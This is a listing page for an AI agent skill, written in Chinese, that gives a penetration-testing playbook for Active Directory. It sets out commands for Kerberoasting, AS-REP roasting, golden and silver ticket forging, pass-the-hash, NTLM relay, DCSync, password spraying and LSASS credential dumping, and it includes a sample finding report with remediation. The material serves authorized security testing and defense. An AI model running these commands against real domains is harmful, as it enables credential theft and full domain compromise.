executing-active-directory-attack-simulation

对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。

9 stars

Best use case

executing-active-directory-attack-simulation is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。

Teams using executing-active-directory-attack-simulation should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/executing-active-directory-attack-simulation/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/executing-active-directory-attack-simulation/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/executing-active-directory-attack-simulation/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How executing-active-directory-attack-simulation Compares

Feature / Agentexecuting-active-directory-attack-simulationStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

对 Active Directory 环境执行授权攻击模拟,识别错误配置、弱凭据、危险特权路径以及可导致域沦陷的可利用信任关系。测试人员使用 BloodHound 进行攻击路径分析,使用 Mimikatz 进行凭据提取,使用 Impacket 进行协议级攻击,包括 Kerberoasting、AS-REP Roasting 和委派滥用。适用于 Active Directory 渗透测试、AD 攻击模拟、域沦陷测试或 Kerberos 攻击评估等请求场景。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 执行 Active Directory 攻击模拟

## 适用场景

- 评估 Active Directory 域和林的安全性,对抗常见和高级攻击技术
- 利用特权关系分析,识别从低权限域用户到域管理员(Domain Admin)的攻击路径
- 验证 Kerberos 安全配置、凭据策略和委派设置能否抵御已知攻击
- 测试 SOC 和 EDR 工具针对 Active Directory 特定 TTP 的检测能力
- 评估分层管理模型和特权访问工作站(PAW)的有效性

**不适用于**:未获得域所有者明确书面授权的情况、在未获批准的业务高峰期对生产域控制器进行测试、或可能导致真实用户账户锁定的测试(须事先协调)。

## 前置条件

- 书面授权,注明目标 AD 域、测试约束条件以及任何禁止测试的账户或系统
- 低权限域用户账户(最低起点),用于模拟真实攻击者位置
- 已加入域的测试工作站,或能访问域控制器端口 88、135、139、389、445、636、3268、3269 的网络
- BloodHound 社区版或企业版,配合 SharpHound/AzureHound 采集器
- 在攻击平台上安装 Impacket 工具包、Mimikatz(或 pypykatz)、Rubeus 和 CrackMapExec
- Hashcat 或 John the Ripper,配备最新词表(rockyou.txt、SecLists),用于离线凭据破解

## 工作流程

### 步骤 1:Active Directory 侦察

从低权限域用户位置枚举 AD 环境:

- **域枚举**:使用 `Get-ADDomain` 或 `crackmapexec smb <dc_ip> -u <user> -p <pass> --domains` 识别域名、功能级别、域控制器和林信任关系
- **用户枚举**:使用 `Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet` 识别服务账户、特权账户和过期密码
- **组枚举**:使用 `net group "Domain Admins" /domain` 映射高价值组(Domain Admins、Enterprise Admins、Schema Admins、Account Operators、Backup Operators)的成员关系
- **GPO 枚举**:使用 `Get-GPO -All | Get-GPOReport -ReportType XML` 识别组策略配置,包括密码策略、审计设置和软件部署
- **信任枚举**:使用 `nltest /domain_trusts /all_trusts` 映射域间和林间信任关系,注意信任方向和传递性
- **LDAP 查询**:使用 `ldapsearch` 或 ADExplorer 搜索带有 `userAccountControl` 标志的账户,这些标志表示"密码永不过期"、"不需要密码"或"仅 DES Kerberos"

### 步骤 2:BloodHound 攻击路径分析

收集并分析 AD 关系数据,识别到达域管理员的最短路径:

- 运行 SharpHound 采集器:`SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\`,收集用户、组、会话、ACL、信任关系和 GPO 数据
- 将 JSON 输出导入 BloodHound,运行内置查询:
  - "从已拥有主体到域管理员的最短路径"
  - "查找具有 DCSync 权限的主体"
  - "查找域用户为本地管理员的计算机"
  - "到无约束委派系统的最短路径"
  - "从可 Kerberoast 用户的所有路径"
- 在 BloodHound 中将已控用户标记为"已拥有",分析产生的攻击路径
- 识别基于 ACL 的攻击路径:对高价值对象的 GenericAll、GenericWrite、WriteDACL、WriteOwner、ForceChangePassword 权限
- 记录每条已识别的攻击路径,包含关系链和受影响对象

### 步骤 3:Kerberos 攻击

对已识别的脆弱账户执行 Kerberos 攻击:

- **Kerberoasting**:为带 SPN 的账户请求 TGS 票据:`impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes`。离线使用 `hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt` 破解
- **AS-REP Roasting**:针对未启用 Kerberos 预身份验证的账户:`impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes`。使用 `hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt` 破解
- **银票据(Silver Ticket)**:若服务账户的 NTLM 哈希被破解,使用 `impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>` 为该服务伪造 TGS 票据
- **黄金票据(Golden Ticket)**:若获取到 krbtgt 哈希(域沦陷后),伪造 TGT:`mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"`
- **无约束委派(Unconstrained Delegation)滥用**:识别具有无约束委派的计算机,使用 PrinterBug 或 PetitPotam 强制域控制器认证,然后从内存中捕获域控制器的 TGT

### 步骤 4:凭据攻击与横向移动

利用收集到的凭据在域内横向移动:

- **哈希传递(Pass-the-Hash)**:`impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM>`,在已控账户具有本地管理员权限的系统上执行命令
- **票据传递(Pass-the-Ticket)**:`export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass`,使用捕获或伪造的 Kerberos 票据
- **NTLM 中继(NTLM Relay)**:配置 `impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user>`,强制认证以中继 NTLM 凭据进行权限提升
- **DCSync**:若获取 DCSync 权限(复制目录更改权限):`impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm`,转储所有域密码哈希
- **密码喷洒(Password spraying)**:`crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce`,对所有账户测试一个密码以避免锁定
- **LSASS 转储**:在已控主机上,使用 `mimikatz "sekurlsa::logonpasswords"` 或 `procdump -ma lsass.exe lsass.dmp` 从 LSASS 内存中提取凭据,然后离线提取

### 步骤 5:提升至域管理员权限

串联已发现的攻击路径,从低权限用户提升至域管理员:

- 按 BloodHound 识别的最短路径,执行每个关系节点(例如:对用户设置 GenericWrite 权限 -> 设置 SPN -> Kerberoast -> 破解密码 -> 用户是对 Domain Admins 具有 WriteDACL 权限的组成员 -> 授予自身成员资格)
- 若发现组策略首选项(GPP)密码,则利用之:`crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologin`
- 若部署了 LAPS(本地管理员密码解决方案),则查询 LAPS 密码:`Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd`
- 使用 Certipy 滥用证书服务(AD CS):`certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip>`,查找可利用的证书模板(ESC1-ESC8)
- 记录从初始用户到域管理员的完整攻击链,包含使用的所有凭据、工具和技术

## 核心概念

| 术语 | 定义 |
|------|------|
| **Kerberoasting** | 为具有服务主体名称(SPN)的账户请求 Kerberos TGS 票据,并离线破解以恢复服务账户明文密码 |
| **AS-REP Roasting** | 为未启用预身份验证的账户请求 Kerberos AS-REP 响应,并离线破解加密时间戳 |
| **DCSync** | 利用目录复制服务权限(DS-Replication-Get-Changes-All)从域控制器复制密码数据,模拟域控制器行为 |
| **BloodHound** | 基于图的 Active Directory 分析工具,映射特权关系,识别从任意用户到高价值目标(如域管理员)的攻击路径 |
| **无约束委派(Unconstrained Delegation)** | Kerberos 委派配置,允许服务以任意用户身份访问任意其他服务,从而捕获连接用户的 TGT |
| **哈希传递(Pass-the-Hash)** | 直接使用 NTLM 哈希而非明文密码进行身份验证,利用 Windows NTLM 认证机制 |
| **AD CS 滥用** | 利用错误配置的 Active Directory 证书服务模板请求证书,以获取提升的权限或冒充其他用户 |
| **NTLM 中继(NTLM Relay)** | 将捕获的 NTLM 认证转发给不同服务,以受害者身份进行认证,在未强制 SMB 签名时有效 |

## 工具与系统

- **BloodHound**:攻击路径分析工具,摄取 SharpHound 收集的 AD 数据,通过对象关系可视化并识别权限提升路径
- **Impacket**:网络协议交互的 Python 工具包,支持 Kerberos 攻击(GetUserSPNs、GetNPUsers)、凭据转储(secretsdump)和远程执行(psexec、wmiexec)
- **Mimikatz**:后渗透工具,用于从 Windows 内存(LSASS 进程)中提取明文凭据、NTLM 哈希和 Kerberos 票据
- **CrackMapExec**:面向 Active Directory 环境的多协议攻击工具,支持 SMB、LDAP、WinRM 和 MSSQL,内置密码喷洒和枚举模块
- **Certipy**:用于枚举和利用 Active Directory 证书服务(AD CS)错误配置的 Python 工具

## 常见场景

### 场景:针对医疗机构的域沦陷评估

**场景背景**:某医院网络拥有单个 Active Directory 林,包含 5,000 个用户账户、800 个计算机对象和分布在 3 个站点的 15 台域控制器。测试人员从单个低权限域用户账户开始,目标是确定拥有员工被盗凭据的攻击者是否能提升至域管理员。

**方法**:
1. 运行 SharpHound 收集 AD 关系数据并导入 BloodHound
2. BloodHound 揭示一条路径:已控用户 -> IT-Support 组成员 -> 对 SVC-SQL 账户具有 GenericAll 权限 -> SVC-SQL 具有 SPN -> Kerberoast -> SVC-SQL 是 DB-SERVER-01 的本地管理员 -> DB-SERVER-01 存在域管理员会话
3. Kerberoast SVC-SQL,使用 hashcat 在 12 分钟内破解弱密码(Summer2023!)
4. 使用 SVC-SQL 凭据通过 psexec 访问 DB-SERVER-01
5. 从 DB-SERVER-01 的 LSASS 内存中提取域管理员凭据
6. 执行 DCSync 转储所有域哈希,验证域沦陷
7. 报告完整攻击链及修复建议:为服务账户设置 25 位以上字符密码、启用仅 AES 的 Kerberos 加密、移除不必要的本地管理员权限、实施分层管理

**常见陷阱**:
- 在业务高峰期使用嘈杂的 SharpHound 收集方法,通过大量 LDAP 查询触发 SOC 告警
- 未先检查域锁定策略就进行密码喷洒,导致数百个账户被锁定
- 忽略 AD CS 漏洞测试,而这通常是到达域管理员最快的路径
- 未检查可能仍缓存凭据或存在活跃会话的过期计算机账户

## 输出格式

```
## 发现:服务账户易受 Kerberoasting 攻击且使用弱密码

**ID**: AD-002
**严重性**: 严重(CVSS 9.1)
**受影响对象**: SVC-SQL@corp.example.com(服务账户)
**攻击技术**: MITRE ATT&CK T1558.003 - Kerberoasting

**描述**:
服务账户 SVC-SQL 在 Active Directory 中注册了服务主体名称(MSSQLSvc/db-server-01.corp.example.com:1433),
使用弱密码,hashcat 结合 rockyou.txt 词表在 12 分钟内破解成功。该账户在
DB-SERVER-01 上具有本地管理员权限,测试时该服务器存在活跃的域管理员会话。

**攻击链**:
1. 请求 TGS 票据: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. 破解哈希: hashcat -m 13100 hash.txt rockyou.txt(12 分钟破解: Summer2023!)
3. 横向移动: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. 凭据提取: mimikatz sekurlsa::logonpasswords -> 域管理员 NTLM 哈希

**影响**:
从单个低权限域用户账户实现完全域沦陷。攻击者可访问所有
5,000 个用户账户、800 个计算机对象以及域内所有数据。

**修复建议**:
1. 为 SVC-SQL 及所有服务账户设置 25 位以上随机生成密码
2. 迁移至组托管服务账户(gMSA),自动轮换 120 字符密码
3. 启用 AES256 Kerberos 加密,禁用 RC4(DES)加密
4. 从 DB-SERVER-01 本地管理员组中移除 SVC-SQL
5. 对特权账户实施 Protected Users 组,防止凭据缓存
6. 部署 Microsoft Defender for Identity,检测 Kerberoasting 和 DCSync 攻击
```

Related Skills

recovering-from-ransomware-attack

9
from killvxk/cybersecurity-skills-zh

按照 NIST 和 CISA 框架执行结构化勒索软件事件恢复,包括环境隔离、取证证据保全、 干净基础设施重建、从已验证备份优先还原系统、凭据重置,以及针对再感染的验证。 涵盖 Active Directory 恢复、数据库还原和按依赖顺序重建应用栈。

performing-web-cache-poisoning-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全测试期间,通过未纳入缓存键的头部和参数毒化缓存响应,利用 Web 缓存机制向其他用户投递恶意内容。

performing-web-cache-deception-attack

9
from killvxk/cybersecurity-skills-zh

通过利用 CDN 缓存层与源服务器之间的路径规范化差异,执行 Web 缓存欺骗攻击,从而缓存并获取敏感的已认证内容。

performing-vlan-hopping-attack

9
from killvxk/cybersecurity-skills-zh

在授权环境中使用交换机欺骗(Switch Spoofing)和双标签(Double Tagging)技术模拟 VLAN 跳转攻击, 测试 VLAN 分段有效性,并验证交换机端口安全配置对二层旁路攻击的抵御能力。

performing-supply-chain-attack-simulation

9
from killvxk/cybersecurity-skills-zh

模拟和检测软件供应链攻击,包括通过 Levenshtein 距离检测域名抢注(Typosquatting)、针对私有注册表的依赖混淆(Dependency Confusion)测试、使用 pip 进行包哈希验证,以及使用 pip-audit 扫描已知漏洞。

performing-ssl-stripping-attack

9
from killvxk/cybersecurity-skills-zh

在授权环境中使用 sslstrip、Bettercap 和 mitmproxy 模拟 SSL 剥离(SSL Stripping)攻击, 测试 HSTS 强制执行、证书验证以及保护用户免受加密连接降级攻击的 HTTPS 升级机制。

performing-phishing-simulation-with-gophish

9
from killvxk/cybersecurity-skills-zh

GoPhish 是一个开源钓鱼模拟框架,供安全团队开展授权的钓鱼意识培训活动,提供活动管理、邮件模板创建、着陆页克隆和综合报告功能。

performing-packet-injection-attack

9
from killvxk/cybersecurity-skills-zh

在授权安全评估中使用 Scapy、hping3 和 Nemesis 构造并注入自定义网络数据包, 测试防火墙规则、IDS 检测、协议处理能力以及网络协议栈对畸形和伪造流量的抵御能力。

performing-kerberoasting-attack

9
from killvxk/cybersecurity-skills-zh

Kerberoasting 是一种后渗透技术,通过为设置了服务主体名称(SPN)的账户请求 Kerberos TGS 票据来针对活动目录中的服务账户。这些票据用服务账户的 NTLM 哈希加密,允许在不产生登录失败事件的情况下进行离线暴力破解。

performing-jwt-none-algorithm-attack

9
from killvxk/cybersecurity-skills-zh

通过操纵 JSON Web Token 中的 alg 头部字段,执行并测试 JWT None 算法攻击,以绕过签名验证。

performing-http-parameter-pollution-attack

9
from killvxk/cybersecurity-skills-zh

执行 HTTP 参数污染(HPP)攻击,通过注入由前端和后端系统以不同方式处理的重复参数,绕过输入验证、WAF 规则和安全控制。

performing-graphql-depth-limit-attack

9
from killvxk/cybersecurity-skills-zh

使用深度嵌套递归查询执行和测试 GraphQL 深度限制攻击,以识别 GraphQL API 中的拒绝服务(DoS)漏洞。